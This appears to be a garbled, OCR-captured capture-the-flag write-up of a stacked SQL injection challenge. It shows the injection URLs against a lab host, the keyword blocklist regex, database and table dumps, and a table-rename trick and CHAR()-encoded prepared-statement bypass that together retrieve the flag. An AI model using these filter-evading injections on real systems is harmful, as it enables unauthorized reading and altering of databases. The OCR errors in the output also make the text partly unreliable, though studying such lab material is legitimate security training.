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e “XH order by
http://159.138.137.79:53698/?inject=1" and 1=2 order by 3 --+
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http://159.138.137.79:53698/?inject=1" and 1=2 union select database(),user() --+
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return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
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http://159.138.137.79:53698/?inject=1"' and 1=2; show databases;--+

array (1) {
[e]
string(11) "ctftraining"

array (1) {
[e]

string(18) "information_schema"

array (1) {

[e]
string(5) "mysql"

array (1) {
[e]

string(18) "performance_schema"

array (1) {
[e]
string(9) "supersqli"

string(4) "test"
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http://159.138.137.79:53698/?inject=1" and 1=2; show tables;--+



string(16) "1919810931114514"
}

array (1) {
[e]
string(5) "words"

}
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http://159.138.137.79:53698/?inject=1"' and 1=2; desc ~1919810931114514 ;--+

string(4) "flag"
[1]

string(12) "varchar(100)"
[2]

string(2) "NO"
[3]

string(@) ""

[4]

NULL

[5]

string(e) ""

array(6) {
[e]
string(2) "id"
[1]
string(7) "int(10)"
[2]
string(2) "NO"
[3]
string(e) ""
[4]
NULL
[5]
string(@) ""

)i

array(6) {
[o]
string(4) "data"
[1]
string(11) "varchar(20)"
[2]
string(2) "NO"
[3]
string(@) ""
[4]
NULL
[5]
string(@) ""
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http://159.138.137.79:53698/?inject=1"' or 1=1; rename tables words to wordsl;rename tables ~1919810931114514" to|
words;alter table words change flag id varchar(100);--+

array(1) {

[e]
string(38) "flag{c168d583ed@d4d7196967b28cbd@b5e9}"
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® show columns from table_name

® desc table_name

® select * from information_schema.columns where table_schema= and table_name=

EURN AT

® RENAME TABLE tbl name TO new_tbl name[, tbl _name2 TO new_tbl name2,...]

® alter table table_name to new name
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e alter table t_app change name app_name varchar(20) not null;
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SET @sql = variable;
PREPARE pre from '[my sql sequece]';
EXECUTE pre;

SET @sql = concat(CHAR(115, 101, 108, 101, 99, 116)," * from  1919810931114514™") ;
PREPARE pre from @sql;
EXECUTE pre;




array(2) {
[e]
string(1) "1"
[1]
string(7) "hahahah"

array (1) {

[e]
string(38) "flag{c168d583ed@d4d7196967b28cbd@b5e9}"
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